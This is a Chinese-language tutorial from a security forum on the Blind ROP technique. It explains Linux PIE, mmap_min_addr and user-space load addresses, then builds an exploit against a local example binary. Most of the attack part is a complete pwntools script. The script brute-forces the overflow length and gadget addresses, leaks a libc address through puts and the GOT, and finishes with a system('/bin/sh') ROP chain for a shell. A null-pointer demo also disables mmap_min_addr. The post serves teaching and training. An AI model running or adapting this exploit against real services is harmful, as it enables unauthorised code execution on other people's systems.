PWN入门-13-险走未知内存布局-BROP-Pwn-看雪-安全社区|安全招聘|kanxue.com

PWN入门-13-险走未知内存布局-BROP

发表于: 2024-10-27 17:16 1617

PWN入门-13-险走未知内存布局-BROP

福建炒饭乡会

2024-10-27 17:16

1617

BROP的全称是Bind ROP，之在不知道程序内存布局的情况下完成ROP攻击，在这里BROP有两个基础的要求，一是程序在崩溃后自带重新启动，二是重新启动后内存布局不会发生变化。

有了这两个基础条件的加持，我们就可以保证找到的地址是可以一直使用的，不至于产生“过期”的问题。

当正确的地址应该怎么样确定呢？既然地址不会“过期”，那遍历当然是一个非常有效的手段。

对于一个64位系统而言，尽管寻址时它只是使用48位（即字节，相当于256TB）地址空间进行寻址，但这个地址空间范围也是相当大了。

想要遍历地址也要有个范围吧！

不错，Linux系统是的确给了个范围，在Linux系统当中将用户态空间和内核态空间做了隔离，内核通过TASK_SIZE_MAX宏分为“楚河汉届”，该宏标明了用户态空间的最大地址。

当你熟悉Linux系统之后就会知道，用户态的地址是由规律可言的，下面会介绍这些规律。

在了解这些规律之前，我们首先需要知道什么是PIE。

在现代计算机系统当中，虽然内存资源是有限的，但是进程间的地址空间都是独立的，即在进程眼中自己都是占用着完整的内存空间，无需操心内存情况，至于物理内存资源是否真的可用，就要看操作系统如何进行调度了。

在独立的进程空间中，进程拥有了自由度，因此给不同的进程分配同样的内存布局也不会出现问题，直接在编译期分配固定的内存地址也不会带来问题。

尽管进程直接使用固定的内存地址不会带来内存使用方面的问题，但是固定的内存地址却会给黑客带来极大方便，为了缓解这一安全问题，Linux和GCC引入了PIE机制。

PIE的全称是Position-independent Executable，其含义是与位置无关的可执行文件，当然也可也将它称作是PIC（Position-independent Code 与位置无关的代码）。

PIE机制允许程序不使用固定的内存地址，使得程序可以被加载到任意的内存地址上，进而使得黑客无法方便的得知程序的内存布局情况。

开启PIE机制后会导致性能受到影响，LD程序允许通过LD_DEBUG=statistics查看程序加载过程中的性能统计信息。

下面列出如何控制LD链接器开关PIE功能。

当PIE功能关闭时，程序的固定地址是由LD动态链接器进行设置的，可以通过-verbose查看指定的text-segment代表的起始地址，如果想要查看其他的架构情况。

当然上面的地址并不是一定的，LD链接器支持添加链接选项在链接期动态的选择内存地址。

但是这个设置的地址是不可以小于0x10000（64kb）的，在计算机中存在着空指针错误，但这个空指针并不一定要是0x0，低于内核设置的mmap_min_addr都算作是空指针。

mmap_min_addr用于现在用户态程序可以申请到的最小内存地址，代表着虚拟地址空间的下界。对于C语言来讲，一个指针类型的变量在未初始化时默认就是NULL零值，且期望程序访问空指针时出现崩溃，当没有mmap_min_addr的限制时，零地址也是可以被使用的（与预期不符），假如零地址上存在被写入的内容，那么攻击者既可以借助任意的未初始化指针对零地址上的资源进行滥用，导致安全问题出现。

不管是AMD64架构还是i386架构图，它们都选择向更远离mmap_min_addr记录的地址处映射程序。

在PIE机制开启时，ELF文件内部就不会在直接分配内存地址，转为只分配偏移值，程序被加载进入内核后，会被分配一个基地址，基地址+偏移值组成了一个可用的内存地址。

不同程序间的虚拟地址空间都是独立的，程序A开启了PIE，程序B关闭了PIE，它们都应该是可用运行的，内核不可能支持一种，但是考虑到内核需要根据PIE决定给不给程序分配基地址，所以内核需要找到一种方法分辨PIE是否开启。

通过file工具观察ELF文件，可以发现该工具可以直接根据ELF文件识别出PIE是否启用，那么它是如何识别的呢？

这个问题答案并不复杂，ELF文件会向.dynamic动态链接节中的FLAGS_1元素添加PIE标志位，内核会根据该标志位是否存在决定分不分配基地址。

在Linux内核中，它给程序分配的基地址是根据TASK_SIZE（用户态程序的虚拟地址空间最大地址）进行计算的，对于使用48位地址空间的64位内核而言，TASK_SIZE的大小一般是0x7ffffffff000，ELF_ET_DYN_BASE一般是0x555555554aaa，load_bias会根据程序的地址对齐情况，以及ASLR是否开启等情况，进行进一步的变化。

在Linux系统当中，用户态程序的地址问题首先会根据PIE机制的启用情况决定，未启动PIE程序为了让零地址是有问题的，所以通过mmap_min_addr设置虚拟地址空间的下界，保证低地址不会被使用，这个限制可以通过sysctl和虚文件取消。

在AMD64架构和i386架构中，LD一般使用0x400000和0x08048000作为最低地址。

对于开启PIE的程序来讲，它会根据ELF_ET_DYN_BASE的地址映射到虚拟地址空间中，使用48位地址空间的Linux内核中ELF_ET_DYN_BASE的数值一般是0x555555554aaa。

在上面的分析中，我们知道了用户态程序被映射到虚拟地址空间的起始地址是有迹可循的，但在PIE关闭时也可以通过链接选项进行自定义设置，而且程序的位数和架构也会对地址产生影响。

因此在不知道足够信息的情况下，我们仍然很难知道大致的地址范围。

此时我们利用的是缓冲区漏洞，但由于程序的二进制和源代码都是未知的，因此我们不能知道缓冲区的大小是多少，为了触发缓冲区漏洞，我们首先需要将缓冲区的长度猜测出来。

猜测缓存区的长度并不复杂，比较暴力的从1开始逐渐累加就是一种比较可靠的方式。

程序接收到paylaod后的状态可以分成三类，一是直接崩溃，二是运行一段时间后崩溃，三是不崩溃。

在得到缓冲区的长度之后，考虑到程序需要猜测不同的地址以及不断的接收payload，所以我们首先需要让程序重复的进入读取状态，即找到一个让程序不会崩溃的返回地址，且在该返回地址之后还会调用read函数。

除了进入读取状态的地址外，考虑到需要判断不同地址的类型，因此这里我们需要用到一个可以直接导致崩溃的地址。

下方给出了程序的源代码。

下面给出了ELF文件中关键的反汇编信息。

根据上面的分析，接下来开始构造exploit，目前已知程序是64位且关闭PIE的，地址也没有经过额外的设置，因此这里使用0x400000作为基地址。

获取完基地址后，要做的就是获取一个可以进入read函数的地址，保证payload被持续接收，再就是获取一个可以直接导致程序崩溃的返回地址。

为了构造完整的exploit，我们需要找到一个可以从栈上弹出各种寄存器的地方，csu是一个很好的目标。

csu会pop六次，这样大量的pop在ret是少见的，因此我们在猜测的csu gadget地址后添加六个数值，再在最后添加进入read函数的地址，只要它可以顺利进入read函数，我们就可以得到csu gadget。

接下来，需要泄露程序内部的信息，所以需要先找到puts函数的位置。这一步并不难，我们设置rdi到指定的地址，如果猜测的地址会调用puts，那么我们就可以根据泄露的信息进行判断（目标地址可以设置为0x400000，因为ELF文件的开头是固定的文本信息，可以根据它进行判断）。

除了程序内部的信息之外，我们还需泄露LibC中的信息用于构造payload，在程序中.got.plt中记录的就是LibC内部的地址，那么应该如何找到.got.plt的地址呢？

我们知道plt表是有规律可循的，可以泄露地址上的指令数据进行判断，如果表项中的三条指令都匹配那就是找到.got.plt了。

运行exploit后就可以直接获取Shell。

用户态空间：0x0000000000000000 - 0x00007FFFFFFFFFFF

内核态空间：0xFFFF800000000000 - 0xFFFFFFFFFFFFFFFF

用户态空间：0x0000000000000000 - 0x00007FFFFFFFFFFF

内核态空间：0xFFFF800000000000 - 0xFFFFFFFFFFFFFFFF

LD_DEBUG=statistics
 


     runtime linker statistics:

       total startup time in dynamic loader: 4001326 cycles

                 time needed for relocation: 24288 cycles (.6%)

                      number of relocations: 83

           number of relocations from cache: 7

             number of relative relocations: 0

                time needed to load objects: 41238 cycles (1.0%)

LD_DEBUG=statistics

6544:

6544: runtime linker statistics:

6544: total startup time in dynamic loader: 4001326 cycles

6544: time needed for relocation: 24288 cycles (.6%)

6544: number of relocations: 83

6544: number of relocations from cache: 7

6544: number of relative relocations: 0

6544: time needed to load objects: 41238 cycles (1.0%)

开启PIE：ld -fPIE -pie -fPIC

关闭PIE：ld -fno-PIE -no-pie -fno-PIC

开启PIE：ld -fPIE -pie -fPIC

关闭PIE：ld -fno-PIE -no-pie -fno-PIC

amd64：

ld -verbose | grep -i text-segment

PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS;
 
i386：

ld -melf_i386 -verbose | grep -i text-segment

PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x08048000)); . = SEGMENT_START("text-segment", 0x08048000) + SIZEOF_HEADERS;

amd64：

ld -verbose | grep -i text-segment

PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS;

i386：

ld -melf_i386 -verbose | grep -i text-segment

PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x08048000)); . = SEGMENT_START("text-segment", 0x08048000) + SIZEOF_HEADERS;

-Wl,-Ttext-segment=xxxx
 
-Wl,-Ttext-segment=0x10000
(gdb) disassemble 

Dump of assembler code for function main:

   0x000000000001116d <+0>:     push   %rbp

   0x000000000001116e <+1>:     mov    %rsp,%rbp

   ......

-Wl,-Ttext-segment=xxxx

-Wl,-Ttext-segment=0x10000

(gdb) disassemble

Dump of assembler code for function main:

0x000000000001116d <+0>: push %rbp

0x000000000001116e <+1>: mov %rsp,%rbp

......

sudo sysctl -a | grep mmap
 

vm.hugetlb_optimize_vmemmap = 0

vm.mmap_min_addr = 65536

vm.mmap_rnd_bits = 28

vm.mmap_rnd_compat_bits = 8
 

ls /proc/sys/vm
admin_reserve_kbytes         dirtytime_expire_seconds   max_map_count              nr_hugepages              overcommit_ratio               user_reserve_kbytes

compaction_proactiveness     dirty_writeback_centisecs  memory_failure_early_kill  nr_hugepages_mempolicy    page-cluster                   vfs_cache_pressure
compact_memory               drop_caches                memory_failure_recovery    nr_overcommit_hugepages   page_lock_unfairness           watermark_boost_factor
compact_unevictable_allowed  extfrag_threshold          min_free_kbytes            numa_stat                 panic_on_oom                   watermark_scale_factor
dirty_background_bytes       hugetlb_optimize_vmemmap   min_slab_ratio             numa_zonelist_order       percpu_pagelist_high_fraction  zone_reclaim_mode
dirty_background_ratio       hugetlb_shm_group          min_unmapped_ratio         oom_dump_tasks            stat_interval
dirty_bytes                  laptop_mode                mmap_min_addr              oom_kill_allocating_task  stat_refresh
dirty_expire_centisecs       legacy_va_layout           mmap_rnd_bits              overcommit_kbytes         swappiness
dirty_ratio                  lowmem_reserve_ratio       mmap_rnd_compat_bits       overcommit_memory         unprivileged_userfaultfd

sudo sysctl -a | grep mmap

vm.hugetlb_optimize_vmemmap = 0

vm.mmap_min_addr = 65536

vm.mmap_rnd_bits = 28

vm.mmap_rnd_compat_bits = 8

ls /proc/sys/vm

admin_reserve_kbytes         dirtytime_expire_seconds   max_map_count              nr_hugepages              overcommit_ratio               user_reserve_kbytes

compaction_proactiveness     dirty_writeback_centisecs  memory_failure_early_kill  nr_hugepages_mempolicy    page

-cluster vfs_cache_pressure

compact_memory               drop_caches                memory_failure_recovery    nr_overcommit_hugepages   page_lock_unfairness           watermark_boost_factor

compact_unevictable_allowed  extfrag_threshold          min_free_kbytes            numa_stat                 panic_on_oom                   watermark_scale_factor

dirty_background_bytes       hugetlb_optimize_vmemmap   min_slab_ratio             numa_zonelist_order       percpu_pagelist_high_fraction  zone_reclaim_mode

dirty_background_ratio       hugetlb_shm_group          min_unmapped_ratio         oom_dump_tasks            stat_interval

dirty_bytes                  laptop_mode                mmap_min_addr              oom_kill_allocating_task  stat_refresh

dirty_expire_centisecs       legacy_va_layout           mmap_rnd_bits              overcommit_kbytes         swappiness

dirty_ratio                  lowmem_reserve_ratio       mmap_rnd_compat_bits       overcommit_memory         unprivileged_userfaultfd

sudo sysctl -w vm.mmap_min_addr="0"
 
被映射的空间：

00000000-00001000 rwxp 00000000 00:00 0
 
源代码：
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <bits/mman-linux.h>
 
static int vuln(char* data)
{

    char cmd[0x100];
 
    strncpy(cmd, data, 0x100);

    system(cmd);
}
 
int main(void)
{

    char* msg = "/bin/sh\0";
 
    mmap(0, 0x1000, PROT_READ  |PROT_WRITE | PROT_EXEC,

        MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    perror("mmap");

    memcpy(0, msg, sizeof(msg));

    msg = NULL;

    vuln(msg);
}
 
程序运行结果：

./null_ptr s
mmap: Success
$ ls
main.c  Makefile  null_ptr  obj
$ exit

sudo sysctl -w vm.mmap_min_addr="0"

被映射的空间：

00000000-00001000 rwxp 00000000 00:00 0

源代码：

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/mman.h>

#include <bits/mman-linux.h>

static int vuln(char* data)

{

char cmd[0x100];

strncpy(cmd, data, 0x100);

system(cmd);

}

int main(void)

{

char* msg = "/bin/sh\0";

mmap(0, 0x1000, PROT_READ |PROT_WRITE | PROT_EXEC,

MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

perror("mmap");

memcpy(0, msg, sizeof(msg));

msg = NULL;

vuln(msg);

}

程序运行结果：

./null_ptr s

mmap: Success

$ ls

main.c Makefile null_ptr obj

$ exit

file观察结果：

关闭PIE：ELF 64-bit LSB executable

开启PIE：ELF 64-bit LSB pie executable

file观察结果：

关闭PIE：ELF 64-bit LSB executable

开启PIE：ELF 64-bit LSB pie executable

#define DF_1_PIE 0x08000000

0x000000006ffffffb (FLAGS_1) Flags: PIE

#define DF_1_PIE 0x08000000

0x000000006ffffffb (FLAGS_1) Flags: PIE

TASK_SIZE = 0x7ffffffff000
 
#define ELF_ET_DYN_BASE     ((TASK_SIZE / 3) * 2)
 
load_bias = ELF_ET_DYN_BASE -> 0x555555554aaa

TASK_SIZE = 0x7ffffffff000

#define ELF_ET_DYN_BASE ((TASK_SIZE / 3) * 2)

load_bias = ELF_ET_DYN_BASE -> 0x555555554aaa

#include <stdio.h>
#include <unistd.h>
#include <string.h>
 
static void vuln(void)
{

    char buf[0x100];
 
    read(STDIN_FILENO, buf, 0x1000);
}
 
int main(void)
{

    setbuf(stdin, NULL);

    setbuf(stdout, NULL);
 
    puts("hello brop!");

    vuln();

    puts("bye, brop");
}

#include <stdio.h>

#include <unistd.h>

#include <string.h>

static void vuln(void)

{

char buf[0x100];

read(STDIN_FILENO, buf, 0x1000);

}

int main(void)

{

setbuf(stdin, NULL);

setbuf(stdout, NULL);

puts("hello brop!");

vuln();

puts("bye, brop");

}

......

0000000000401020 <puts@plt-0x10>:

  401020:       ff 35 ca 2f 00 00       push   0x2fca(%rip)        # 403ff0 <_GLOBAL_OFFSET_TABLE_+0x8>

  401026:       ff 25 cc 2f 00 00       jmp    *0x2fcc(%rip)        # 403ff8 <_GLOBAL_OFFSET_TABLE_+0x10>

  40102c:       0f 1f 40 00             nopl   0x0(%rax)
 
0000000000401030 <puts@plt>:

  401030:       ff 25 ca 2f 00 00       jmp    *0x2fca(%rip)        # 404000 <puts@GLIBC_2.2.5>

  401036:       68 00 00 00 00          push   $0x0

  40103b:       e9 e0 ff ff ff          jmp    401020 <_init+0x20>
......

0000000000401060 <_start>:

  401060:       31 ed                   xor    %ebp,%ebp

  401062:       49 89 d1                mov    %rdx,%r9

  401065:       5e                      pop    %rsi

  401066:       48 89 e2                mov    %rsp,%rdx
......

00000000004011d0 <__libc_csu_init>:

  ......

  401222:       5b                      pop    %rbx

  401223:       5d                      pop    %rbp

  401224:       41 5c                   pop    %r12

  401226:       41 5d                   pop    %r13

  401228:       41 5e                   pop    %r14

  40122a:       41 5f                   pop    %r15

  40122c:       c3                      ret

  40122d:       0f 1f 00                nopl   (%rax)
......

......

0000000000401020 <puts@plt-0x10>:

401020: ff 35 ca 2f 00 00 push 0x2fca(%rip) # 403ff0 <_GLOBAL_OFFSET_TABLE_+0x8>

401026: ff 25 cc 2f 00 00 jmp *0x2fcc(%rip) # 403ff8 <_GLOBAL_OFFSET_TABLE_+0x10>

40102c: 0f 1f 40 00 nopl 0x0(%rax)

0000000000401030 <puts@plt>:

401030: ff 25 ca 2f 00 00 jmp *0x2fca(%rip) # 404000 <puts@GLIBC_2.2.5>

401036: 68 00 00 00 00 push $0x0

40103b: e9 e0 ff ff ff jmp 401020 <_init+0x20>

......

0000000000401060 <_start>:

401060: 31 ed xor %ebp,%ebp

401062: 49 89 d1 mov %rdx,%r9

401065: 5e pop %rsi

401066: 48 89 e2 mov %rsp,%rdx

......

00000000004011d0 <__libc_csu_init>:

......

401222: 5b pop %rbx

401223: 5d pop %rbp

401224: 41 5c pop %r12

401226: 41 5d pop %r13

401228: 41 5e pop %r14

40122a: 41 5f pop %r15

40122c: c3 ret

40122d: 0f 1f 00 nopl (%rax)

......

ff 25 xx xx xx xx       # jmp got.plt

68 xx                   # push relocation index

e9 xx xx xx xx xx       # jmp .plt

ff 25 xx xx xx xx # jmp got.plt

68 xx # push relocation index

e9 xx xx xx xx xx # jmp .plt

import pwn

import sys

import configparser
 
sys.path.append('../../MyTools')

import gadgets_info

import conversion
 
pwn.context.clear()
pwn.context.update(

    arch = 'amd64', os = 'linux',
)
 
target_info = {

    'exec_path': './brop_example',

    'libc_info': None,

    'conn': None,

    'config_info': None,

    'config_path': 'config.ini',

    'addr_len': 0x8,

    'crash_addr': 0x0,

    'stack_overflow_len': 0x0,

    'read_mode_enter_addr': 0x0,

    'csu_gadget_addr': 0x0,

    'csu_pop_rdi_offset': 0x9,

    'csu_pop_regs_count': 0x6,

    'plt4puts_addr': 0x0,

    'puts_target_addr': 0x400000,

    'puts_tagert_signature_code': b'\x7fELF',

    'gotplt4puts_addr_leak': 0x0,

    'plt_instructions_code_index': 0x0,

    'push_rela_index2jmp_gotplt_offset': 0x6,

    'jmp_plt2jmp_gotplt_offset': 0xb,

    'plt_instructions_code_info': [

        b'\xff\x25',        # jmp got.plt

        b'\x68',            # push relocation index

        b'\xe9',            # jmp .plt

    ],
}
 
def config_parse_failed_handle(msg):

    print('[--] parse config [{0}] failed'.format(target_info['config_path']))

    if msg != None:

        print('[--] {0}'.format(msg))

    exit(-1)
 
def config_info_init():

    try:

        target_info['config_info'] = configparser.ConfigParser()

        target_info['config_info'].read(target_info['config_path'])

    except Exception:

        config_parse_failed_handle(None)
 
def config_field_get(tag_name, field_name):

    try:

        val = target_info['config_info'][tag_name][field_name]

        return val

    except Exception:

        config_parse_failed_handle('get [{0}] - [{1}]'.format(tag_name, field_name))

        return -1
 
def config_field_set(tag_name, field_name, value):

    try:

        target_info['config_info'][tag_name][field_name] = str(value)

        with open(target_info['config_path'], 'w') as cfg_file:

            target_info['config_info'].write(cfg_file)

    except Exception:

        config_parse_failed_handle('set [{0}] - [{1}]'.format(tag_name, field_name))
 
def connect_start():

    try:

        target_info['conn'] = pwn.remote('127.0.0.1', 9527)

        data = target_info['conn'].recvuntil(b'hello brop!\n')

    except Exception:

        print('[--] cannot start connect')

        exit(-1)
 
def connect_stop():

    try:

        target_info['conn'].close()

        target_info['conn'] = None

    except Exception:

        print('[--] cannot close connect')

        exit(-1)
 
def stack_overflow_len_get():

    _len = int(config_field_get('stack_info', 'stack_overflow_length'))

    print('[--] current stack overflow length = {0}'.format(_len))

    if _len <= 0:

        _len = 1
 
    while True:

        try:

            connect_start()

            print(_len)
 
            payload = b'A' * _len

            target_info['conn'].send(payload)

            target_info['conn'].recv()

            connect_stop()
 
            _len += 1

        except Exception:

            connect_stop()

            _len -= 1
 
            config_field_set('stack_info', 'stack_overflow_length', _len)

            print('[++] available stack overflow length = {0}'.format(_len))

            return _len
 
def crash_addr_check(addr, is_crash, payload, leak_data):

    if is_crash == True:

        config_field_set('bind_rop_info', 'crash_addr', hex(addr))

        return addr

    return None
 
def read_mode_addr_check(addr, is_crash, payload, leak_data):

    try:

        ret = None

        has_crash = False

        if is_crash == True:

            return ret
 
        test_payload = b'B' * target_info['stack_overflow_len']

        if target_info['read_mode_enter_addr'] != 0x0:

            test_payload += pwn.p64(target_info['read_mode_enter_addr'])

        else:

            test_payload += pwn.p64(addr)

        target_info['conn'].send(test_payload)

        target_info['conn'].recv(timeout = 5)

        target_info['conn'].send(test_payload)

        target_info['conn'].recv(timeout = 5)

    except Exception:

        print('[--] receive Exception')

        has_crash = True

    if has_crash == False:

        ret = addr

    return ret
 
def csu_gadget_addr_check(addr, is_crash, payload, leak_data):

    ret = read_mode_addr_check(addr, is_crash, payload, leak_data)

    if ret != None:

        try:

            ret = None

            test_payload = payload

            test_payload += pwn.p64(0x0) * target_info['csu_pop_regs_count']

            test_payload += pwn.p64(target_info['crash_addr'])

            target_info['conn'].send(test_payload)

            target_info['conn'].recv(timeout = 5)

        except Exception:

            ret = addr

    return ret
 
def plt4puts_addr_check(addr, is_crash, payload, leak_data):

    if is_crash == False:

        print(leak_data)

        if leak_data.startswith(target_info['puts_tagert_signature_code']):

            return addr

    return None
 
def leak_libc_by_gotplt_store_addr_check(addr, is_crash, payload, leak_data):

    global pre_addr

    global leak_info

    if pre_addr != 0x0:

        if (addr - pre_addr) > 0x8:

            target_info['plt_instructions_code_index'] = 0x0

    if leak_data.startswith(target_info['plt_instructions_code_info'][target_info['plt_instructions_code_index']]):

        if target_info['plt_instructions_code_index'] == 0x0:

            leak_info = leak_data

        if target_info['plt_instructions_code_index'] == 0x2:

            plt_starting_addr = addr - target_info['jmp_plt2jmp_gotplt_offset']

            print('[--] [{0}] was plt starting address'.format(hex(plt_starting_addr)))

            return plt_starting_addr

        target_info['plt_instructions_code_index'] += 1

        pre_addr = addr

    return None
 
def addr_traversal(cfg_tag_name, cfg_field_name, check_rule, rop_fix, payload_fix):

    addr = int(config_field_get(cfg_tag_name, cfg_field_name), 16)

    if addr <= 0:

        addr = int(config_field_get('bind_rop_info', 'base_addr'), 16)

    print('[--] current address = {0}'.format(hex(addr)))

    leak_data = b''
 
    while True:

        try:

            has_crash = False

            connect_start()
 
            print('[--] try address = {0}'.format(hex(addr)))

            pre_payload = b'A' * target_info['stack_overflow_len']

            if rop_fix != None:

                pre_payload += rop_fix

            pre_payload += pwn.p64(addr)

            payload = pre_payload

            if payload_fix != None:

                payload = pre_payload + payload_fix

            target_info['conn'].send(payload)

            leak_data = target_info['conn'].recv(timeout = 5)

        except Exception:

            print('[--] receive exception')

            has_crash = True
 
        ret = check_rule(addr, has_crash, pre_payload, leak_data)

        connect_stop()

        if ret != None:

            print('[--] available {0} address = {1}'.format(cfg_field_name, hex(ret)))

            config_field_set(cfg_tag_name, cfg_field_name, hex(ret))

            return ret

        addr += 1
 
pwn.context.binary = pwn.ELF(target_info['exec_path'])

target_info['libc_info'] = pwn.ELF(target_info['exec_path']).libc
 
config_info_init()
 
target_info['stack_overflow_len'] = stack_overflow_len_get()

target_info['crash_addr'] = addr_traversal(

    'bind_rop_info', 'crash_addr',

    crash_addr_check, None, None
)

target_info['read_mode_enter_addr'] = addr_traversal(

    'bind_rop_info', 'read_mode_addr',

    read_mode_addr_check, None, None
)
 
brop_csu_find_payload_fix = pwn.p64(0x0) * target_info['csu_pop_regs_count']

brop_csu_find_payload_fix += pwn.p64(target_info['read_mode_enter_addr'])

target_info['csu_gadget_addr'] = addr_traversal(

    'bind_rop_info', 'csu_gadget_addr',

    csu_gadget_addr_check, None,

    brop_csu_find_payload_fix
)
 
pop_rdi_offset = target_info['csu_gadget_addr'] + target_info['csu_pop_rdi_offset']

plt4puts_find_rop_fix = pwn.p64(pop_rdi_offset)

plt4puts_find_rop_fix += pwn.p64(target_info['puts_target_addr'])

plt4puts_find_payload_fix = pwn.p64(target_info['read_mode_enter_addr'])

target_info['plt4puts_addr'] = addr_traversal(

    'bind_rop_info', 'plt4puts_addr',

    plt4puts_addr_check, plt4puts_find_rop_fix,

    plt4puts_find_payload_fix
)
 
gotplt4puts_find_rop_fix =  pwn.p64(pop_rdi_offset)

gotplt4puts_find_payload_fix = pwn.p64(target_info['plt4puts_addr'])

gotplt4puts_find_payload_fix += pwn.p64(target_info['read_mode_enter_addr'])

target_info['plt_instructions_code_index'] = 0x0

pre_addr = 0x0

leak_info = None

target_info['gotplt4puts_addr_leak'] = addr_traversal(

    'bind_rop_info', 'gotplt4puts_addr',

    leak_libc_by_gotplt_store_addr_check, gotplt4puts_find_rop_fix,

    gotplt4puts_find_payload_fix
)
 
offset = conversion.bytes2int(leak_info[2:4])

target_info['gotplt4puts_addr_leak'] += target_info['push_rela_index2jmp_gotplt_offset'] + offset
 
connect_start()

payload = b'C' * target_info['stack_overflow_len']

payload += pwn.p64(pop_rdi_offset)

payload += pwn.p64(target_info['gotplt4puts_addr_leak'])

payload += pwn.p64(target_info['plt4puts_addr'])

payload += pwn.p64(target_info['read_mode_enter_addr'])
 
target_info['conn'].send(payload)

data = target_info['conn'].recv(timeout = 5)

libc_puts_addr = conversion.bytes2int(data[:6])

libc_base = libc_puts_addr - 0x77980

print('[**] libc base address = {0}'.format(hex(libc_base)))
 
libc_system_addr = libc_base + target_info['libc_info'].symbols['system']

libc_binsh_addr = libc_base + target_info['libc_info'].search(b'/bin/sh').__next__()

payload = b'A' * target_info['stack_overflow_len']

payload += pwn.p64(pop_rdi_offset)

payload += pwn.p64(libc_binsh_addr)

payload += pwn.p64(pop_rdi_offset + 1)

payload += pwn.p64(libc_system_addr)

payload += pwn.p64(target_info['read_mode_enter_addr'])

target_info['conn'].sendline(payload)
 
target_info['conn'].interactive()

import pwn

import sys

import configparser

sys.path.append('../../MyTools')

import gadgets_info

import conversion

pwn.context.clear()

pwn.context.update(

arch = 'amd64', os = 'linux',

)

target_info = {

'exec_path': './brop_example',

'libc_info': None,

'conn': None,

'config_info': None,

'config_path': 'config.ini',

'addr_len': 0x8,

'crash_addr': 0x0,

'stack_overflow_len': 0x0,

'read_mode_enter_addr': 0x0,

'csu_gadget_addr': 0x0,

'csu_pop_rdi_offset': 0x9,

'csu_pop_regs_count': 0x6,

'plt4puts_addr': 0x0,

'puts_target_addr': 0x400000,

'puts_tagert_signature_code': b'\x7fELF',

'gotplt4puts_addr_leak': 0x0,

'plt_instructions_code_index': 0x0,

'push_rela_index2jmp_gotplt_offset': 0x6,

'jmp_plt2jmp_gotplt_offset': 0xb,

'plt_instructions_code_info': [

b'\xff\x25', # jmp got.plt

b'\x68', # push relocation index

b'\xe9', # jmp .plt

],

}

def config_parse_failed_handle(msg):

print('[--] parse config [{0}] failed'.format(target_info['config_path']))

if msg != None:

print('[--] {0}'.format(msg))

exit(-1)

def config_info_init():

try:

target_info['config_info'] = configparser.ConfigParser()

target_info['config_info'].read(target_info['config_path'])

except Exception:

config_parse_failed_handle(None)

def config_field_get(tag_name, field_name):

try:

val = target_info['config_info'][tag_name][field_name]

return val

except Exception:

config_parse_failed_handle('get [{0}] - [{1}]'.format(tag_name, field_name))

return -1

def config_field_set(tag_name, field_name, value):

try:

target_info['config_info'][tag_name][field_name] = str(value)

with open(target_info['config_path'], 'w') as cfg_file:

target_info['config_info'].write(cfg_file)

except Exception:

config_parse_failed_handle('set [{0}] - [{1}]'.format(tag_name, field_name))

def connect_start():

try:

target_info['conn'] = pwn.remote('127.0.0.1', 9527)

data = target_info['conn'].recvuntil(b'hello brop!\n')

except Exception:

登录后可查看完整内容

[招生]科锐逆向工程师培训(2024年11月15日实地，远程教学同时开班, 第51期)

#基础知识 #漏洞机制 #溢出

收藏・0

免费・0

支持

最新回复 (0)
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复

福建炒饭乡会

发帖

回帖

170

RANK

关注

私信

他的文章

关于我们

联系我们

企业服务

看雪公众号